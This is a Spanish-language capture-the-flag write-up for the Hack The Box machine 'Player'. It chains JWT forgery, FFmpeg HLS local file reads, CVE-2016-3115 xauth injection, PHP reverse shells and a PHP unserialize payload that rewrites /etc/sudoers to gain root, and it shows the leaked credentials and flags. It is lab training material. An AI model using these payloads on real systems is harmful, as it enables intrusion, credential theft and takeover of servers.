[HTB-writeup] Player


Comencemos con un poco de escaneo:
nmap 10.10.10.145 -sC -sV -n -Pn -p- -oA nmap.tcp
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)
|   2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)
|   256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)
|_  256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)
80/tcp   open  http    Apache httpd 2.4.7
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 403 Forbidden
6686/tcp open  ssh     OpenSSH 7.2 (protocol 2.0)
Service Info: Host: player.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

(Se ha omitido UDP por no haber devuelto resultados interesantes).

Antes de continuar, añadiremos player.htb a /etc/hosts para facilitar la enumeración.

Tras un vistazo rápido al puerto 80:

Por lo que vamos a intentar encontrar hosts virtuales:
wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.player.htb" -u http://player.htb -t 100
********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://player.htb/
Total requests: 19983

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                           
===================================================================

000000019:   200        86 L     229 W    5243 Ch     "dev"                                                                                                                                             
000000067:   200        63 L     180 W    1470 Ch     "staging"                                                                                                                                         
000000070:   200        259 L    714 W    9513 Ch     "chat" 

Tras añadir los resultados a /etc/hosts podemos hacer un poco de fuzzing en la URL principal y en los vhost dev, staging y chat:
gobuster dir -r -x php -t 100 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
gobuster dir -r -x php -t 100 -u http://dev.player.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
gobuster dir -r -x php -t 100 -u http://staging.player.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
gobuster dir -r -x php -t 100 -u http://chat.player.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Como ya sabemos, la enumeración es importantísima para una futura explotación, por lo que vamos a ir anotando todo lo que nos vaya llamando la atención.

dev.player.htb


Aquí hemos podido encontrar un panel de login, que dejaremos para más adelante.

Como anotación, al intentar loguear como admin/admin se envía un POST:
components/user/controller.php?action=authenticate

Con los siguientes datos:
username=admin&password=admin&theme=default&language=xx

staging.player.htb

Lo más llamativo aquí es el apartado Contact Core Team:


Tras el envío, se nos redirige al siguiente PHP:


Pero analicémoslo más de cerca haciendo pasar el tráfico por Burp:




Nos devuelve varios errores que vamos a anotar para tenerlos en cuenta más adelante:
Unknown variable user in /var/www/backup/service_config

fatal error in /var/www/staging/fix.php

chat.player.htb

Aquí hemos encontrado un falso chat:

Independientemente de lo que escribamos se devuelve una respuesta que no nos sirve, ya que se está gestionando en el lado cliente y no genera tráfico.

Por lo tanto, del chat nos vamos a quedar con uno de los mensajes:
They mentioned our staging exposing some sensitive files and main domain exposing source code which allowing them to access our product before release. Currently our team working on the fix.

player.htb

Gracias al fuzzing previo, accederemos directamente a http://player.htb/launcher :

Con Burp podemos observar que cada vez que accedemos, cada 10 segundos se genera el siguiente GET:
/launcher/dee8dc8a47256c64630d803a4c40786e.php

Obteniendo la siguiente respuesta:
Not released yet

Si además introducimos un e-mail, al solicitar el envío podemos apreciar un GET de un PHP ligeramente diferente:
/launcher/dee8dc8a47256c64630d803a4c40786c.php

Recibiendo un 302 con una redirección interesante:
Set-Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IkMwQjEzN0ZFMkQ3OTI0NTlGMjZGRjc2M0NDRTQ0NTc0QTVCNUFCMDMifQ.cjGwng6JiMiOWZGz7saOdOuhyr1vad5hAxOJCiM3uzU

Si accedemos ahora con dicha Cookie a los recursos previamente encontrados tanto en la raíz como en /launcher, obtenemos la misma respuesta, por lo que vamos a pensar en otra aproximación.

Recapitulando lo que tenemos hasta ahora, leyendo de nuevo los mensajes del falso chat parece que hubiesen reportado una vulnerabilidad o leak del código fuente del dominio principal, por lo que nos disponemos a realizar varias búsquedas en Internet, encontrando algo muy interesante:

PHP source code disclosure

https://www.rapid7.com/db/vulnerabilities/http-php-temporary-file-source-disclosure

Podríamos intentar buscar archivos de backup de código como los que dejan los editores que se hayan olvidado de eliminar, como suelen ser habituales para este tipo de extensiones:
file.ext~, #file.ext#, ~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old

Para localizar archivos temporales, podemos realizar una búsqueda manual de los PHP ya encontrados combinándolos con dichas extensiones o en su defecto generar un pequeño script para facilitarnos la tarea:
Request: http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~

[http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~] 200 OK

Genial! Veamos a través de Burp qué hemos conseguido exactamente:
/launcher/dee8dc8a47256c64630d803a4c40786c.php~

La respuesta al GET:
<?php

require 'vendor/autoload.php';

use \Firebase\JWT\JWT;

if(isset($_COOKIE["access"]))
{
    $key = '_S0_R@nd0m_P@ss_';
    $decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']);
    if($decoded->access_code === "0E76658526655756207688271159624026011393")
    {
        header("Location: 7F2xxxxxxxxxxxxx/");
    }
    else
    {
        header("Location: index.html");
    }
}

else
{
    $token_payload = [
      'project' => 'PlayBuff',
      'access_code' => 'C0B137FE2D792459F26FF763CCE44574A5B5AB03'
    ];
    $key = '_S0_R@nd0m_P@ss_';
    $jwt = JWT::encode($token_payload, base64_decode(strtr($key, '-_', '+/')), 'HS256');
    $cookiename = 'access';
    setcookie('access',$jwt, time() + (86400 * 30), "/");
    header("Location: index.html");
}

?>

Al parecer hemos encontrado JSON Web Tokens (JWT) y quizás podríamos usar el código para generar un token con más privilegios.

Antes de nada, analicemos la access Cookie que dejamos anotada, desde https://jwt.io/ :


Obtenemos el token en claro incluyendo uno de los códigos de acceso (access_code) encontrados en el archivo temporal:

C0B137FE2D792459F26FF763CCE44574A5B5AB03

Podríamos pensar en cambiar el Payload, utilizando el otro access_code y generar así un nuevo token con más privilegios, pero ¿cómo funciona?

La última parte del token (la de color azul) es la firma y depende directamente de la clave/secreto.

Si nos fijamos en la sección "Verify Signature", podemos introducir la clave/secreto que queramos y con cualquier cambio, nos damos cuenta de que la firma del token también cambia, por lo que vamos a intentar introducir la que encontramos en el archivo temporal:

_S0_R@nd0m_P@ss_

Vemos que la firma aún difiere de la original, cuando no debería… pero si activamos la opción “secret base64 encoded” obtenemos la misma firma que teníamos en el token original !

Deducimos que si utilizamos el otro access_code en el payload, obtendremos otro token válido:


Nuevo token:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IjBFNzY2NTg1MjY2NTU3NTYyMDc2ODgyNzExNTk2MjQwMjYwMTEzOTMifQ.VXuTKqw__J4YgcgtOdNDgsLgrFjhN1_WwspYNf_FjyE

Es hora de hacer la petición original pero con el nuevo token:

/launcher/dee8dc8a47256c64630d803a4c40786c.php


Hemos obtenido un nuevo acceso:

http://player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/


“Compress and Secure” sugiere que procesará los archivos que subamos, por lo que vamos a hacer algunas pruebas con .jpg y .php.

Ha convertido Player.jpg en un .avi que contiene varios frames de la misma imagen; si verificamos el formato con file:
Player.avi: RIFF (little-endian) data, AVI, 300 x 300, 25.00 fps, video: FFMpeg MPEG-4


Si hacemos otros tests como por ejemplo archivos PHP, nos damos cuenta que el supuesto .avi que genera no está disponible para su descarga.

Por lo tanto vamos a intentar buscar alguna vulnerabilidad o exploit para FFMpeg:

FFMpeg HLS vulnerability

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS

Con ello, vamos a intentar leer /etc/passwd, del siguiente modo:
python3 gen_xbin_avi.py file:///etc/passwd passwd.avi

Tras subir passwd.avi y descargar el archivo procesado:


¡Funciona! Aunque como podemos observar, el vídeo resultante muestra algo de basura y se pierde el formato original, por lo que vamos a intentar encontrar variaciones o alternativas:

https://hackerone.com/reports/237381
python3 gen_avi.py file:///etc/passwd passwd.avi


¡Esto es exactamente lo que necesitábamos!

Continuemos accediendo a archivos que ya conocemos gracias a la enumeración realizada previamente:
python3 gen_avi.py file:///var/www/backup/service_config staging_service_config.avi


Intentando recoger el contenido de /var/www/staging/fix.php, obtenemos un vídeo en blanco, no lo descartaremos ya que podría significar que no disponemos de los privilegios adecuados.

Algo que nos ayudará a detectar la ubicación exacta de los vhosts:
python3 gen_avi.py file:///etc/apache2/sites-available/000-default.conf apache.avi


Es interesante ver que dev está montado como demo a diferencia del resto.

Y respecto al PHP del panel de login :
python3 gen_avi.py file:///var/www/demo/index.php dev_index.avi


python3 gen_avi.py file:///var/www/demo/data/users.php dev_users.avi


Las credenciales deberían valer en el panel de login, aunque la contraseña parece más bien un hash (más adelante podríamos pensar en crackearlo, de no encontrar alternativas).

Antes de buscar nuevo contenido, vamos a probar las primeras credenciales obtenidas en los servicios que enumeramos al inicio:

telegen / d-bC|jC!2uepS/w

ssh telegen@player.htb -p 6686
telegen@player.htb's password: 
Last login: Sun Jul 14 22:03:01 2019 from 10.10.13.41
Environment:
  USER=telegen
  LOGNAME=telegen
  HOME=/home/telegen
  PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
  MAIL=/var/mail/telegen
  SHELL=/usr/bin/lshell
  SSH_CLIENT=10.10.12.10 45126 6686
  SSH_CONNECTION=10.10.12.10 45126 10.10.10.145 6686
  SSH_TTY=/dev/pts/9
  TERM=xterm-256color
========= PlayBuff ==========
Welcome to Staging Environment

telegen:~$ ?
  clear  exit  help  history  lpath  lsudo

Llegamos a una shell restringida de la que podríamos intentar escapar, aunque no tiene los comandos echo ni more/less/vim ni otros típicos que se suelen utilizar para escapar y a pesar de consultar el contenido de /etc/lshell.conf a través del exploit FFMpeg para buscar un punto débil a dicha shell no encontramos nada para poder avanzar por este camino.

¿Qué más podríamos hacer con dichas credenciales? Un vistazo con más detenimiento a los resultados del escaneo inicial, revela un OpenSSH 7.2 en el puerto 6686 posiblemente vulnerable:

https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-3115

Está relacionado con el CVE-2016-3115 donde se explica que podemos inyectar comandos xauth aunque sólo funciona si está habilitado “X11 Forwarding” y no serviría para /bin/nologin (usuarios a los que no se les permite logear).

python2.7 poc.py player.htb 6686 telegen 'd-bC|jC!2uepS/w'
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile 
    .writefile  
    .exit .quit
    

#> .readfile /home/telegen/user.txt
DEBUG:__main__:auth_cookie: 'xxxx\nsource /home/telegen/user.txt\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:30e47abe9e315c0c39462d0cf71c0f48

Tras el primer intento con éxito del que sacamos la flag de user.txt y no encontrando el modo de obtener una shell, lo seguiremos aprovechando para enumerar de un modo más sencillo, intentando directamente con un archivo que no habíamos sido capaces de extraer:
#> .readfile /var/www/staging/fix.php
DEBUG:__main__:auth_cookie: 'xxxx\nsource /var/www/staging/fix.php\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:if(!$username){
$username
$password
}
//modified
//for
//fix
//peter
//CQXpm\z)G5D#%S$y=
}

Al fin hemos podido leer fix.php  que contiene las credenciales en claro de Peter (en lugar de un hash) para dev.player.htb:


Encontramos un panel desde el que podemos crear proyectos:


Nos advierte que debemos partir de /var/www/demo/home así que definimos /var/www/demo/home/pepe y creamos el proyecto, gracias al cual podemos subir un PHP con una reverse shell, como por ejemplo pentest-pepe.php a la que posteriormente podremos acceder:

http://dev.player.htb/home/pepe/pentest-pepe.php
listening on [any] 7000 ...
connect to [10.10.12.10] from (UNKNOWN) [10.10.10.145] 52860
Linux player 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 19:11:44 up 19:10,  0 users,  load average: 0.17, 0.24, 0.27
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Descargamos pspy64, gracias al cual podremos ver procesos que corren como root y ente todos ellos nos fijamos en el siguiente:

/usr/bin/php /var/lib/playbuff/buff.php

Revisando el código, nos damos cuenta de que hay un include de un nuevo PHP que hasta ahora no conocíamos:
include("/var/www/html/launcher/dee8dc8a47256c64630d803a4c40786g.php");

Además, hemos podido verificar que se llama al mismo PHP desde:
/var/www/html/launcher/7F2dcsSdZo6nj3SNMTQ1/upload.php

Al parecer, cada vez que alguien sube archivos desde PlayBuff (el portal que procesa archivos y los convierte en vídeos) se llama al PHP mencionado para la conexión con la base de datos.

Como www-data tiene privilegios sobre /var/www/html/launcher/ podemos crear un PHP con una reverse shell (por ejemplo pentest-pepe2.php) y añadir un include que apunte a él en dee8dc8a47256c64630d803a4c40786g.php

Parece que obtenemos una shell, pero como www-data y tan pronto como salimos y volvemos a escuchar en el mismo puerto, obtenemos otra shell como www-data, debiéndose lo más probable a subidas de archivos que estén efectuando otros usuarios.

Tras varios intentos, al final logramos una shell como root:
listening on [any] 7001 ...
connect to [10.10.12.10] from (UNKNOWN) [10.10.10.145] 36736
Linux player 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 20:01:01 up 20:00,  0 users,  load average: 0.42, 0.71, 1.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
# 
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
7dfc49f8f9955e10d4a58745c5ddf49c

Método Alternativo

Lo más probable es que exista un método más limpio, por lo que vamos a volver a revisar el código fuente de buff.php, donde encontraremos una función unserialize que supuestamente ejecutará código que encuentre en el archivo merge.log.

En PHP, si encontramos un método mágico que comienza con __ (como el que tenemos en buff.php llamado __wakeup), significa que ejecutará automáticamente cualquier cosa que se encuentre, si detecta una entrada serializada.

En este caso, ejecutará file_put_contents(__DIR__."/".$this->logFile,$this->logData); automáticamente desde merge.log siempre que se trate de un string serializado:

https://www.notsosecure.com/remote-code-execution-via-php-unserialize/

Por lo tanto, todo lo que necesitaríamos hacer es recrear la clase playBuff para generar strings serializados y sustituir el payload de los logFile y logData por lo que queramos utilizar, en lugar de los que ya se encuentran en buff.php.

Es importante tener en cuenta que en la función mencionada se incluye __DIR__."/”. por lo que no podremos utilizar rutas absolutas, viéndonos forzados a utilizar rutas relativas al directorio actual.

Nuestro payload podría quedar así:
<?php
class playBuff {
    public $logFile = "/var/lib/playbuff/../../../../../../../../etc/sudoers";
    public $logData = "telegen ALL=(ALL)ALL";
}
$buff = new playBuff();   
$serialBuff = base64_encode(serialize($buff));
print $serialBuff;
?>

Disponemos del siguiente recurso para obtener strings serializados:

https://paiza.io/en/projects/new?language=php
O:8:"playBuff":2:{s:7:"logFile";s:53:"/var/lib/playbuff/../../../../../../../../etc/sudoers";s:7:"logData";s:20:"telegen ALL=(ALL)ALL";}

Como último paso, nos damos cuenta de que sólo podemos escribir en merge.log con telegen:
-rw------- 1 telegen telegen  13 Jul 15 06:40 merge.log

Podemos utilizar un pequeño truco para cambiar a telegen (evitando la shell restringida):
su -s /bin/bash -c '/bin/bash' telegen
Password: 
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
telegen@player:/var/lib/playbuff$ id
uid=1000(telegen) gid=1000(telegen) groups=1000(telegen),46(plugdev)
telegen@player:/var/lib/playbuff$ 

Ahora sí que podemos escribir nuestro payload en merge.log y sólo necesitamos esperar unos segundos, antes de poder lanzar un sudo su desde telegen:
telegen@player:/$ sudo -l
sudo: no tty present and no askpass program specified
telegen@player:/$ 
telegen@player:/$ python -c 'import pty; pty.spawn("/bin/bash")'
telegen@player:/$ 
telegen@player:/$ sudo -l
[sudo] password for telegen: 
User telegen may run the following commands on player:
    (ALL) ALL
telegen@player:/$ sudo su
root@player:/# 
root@player:/# id
uid=0(root) gid=0(root) groups=0(root)
root@player:/# 
root@player:/# cat /root/root.txt 
7dfc49f8f9955e10d4a58745c5ddf49c 

Contribución gracias a Jose Hares

Comentarios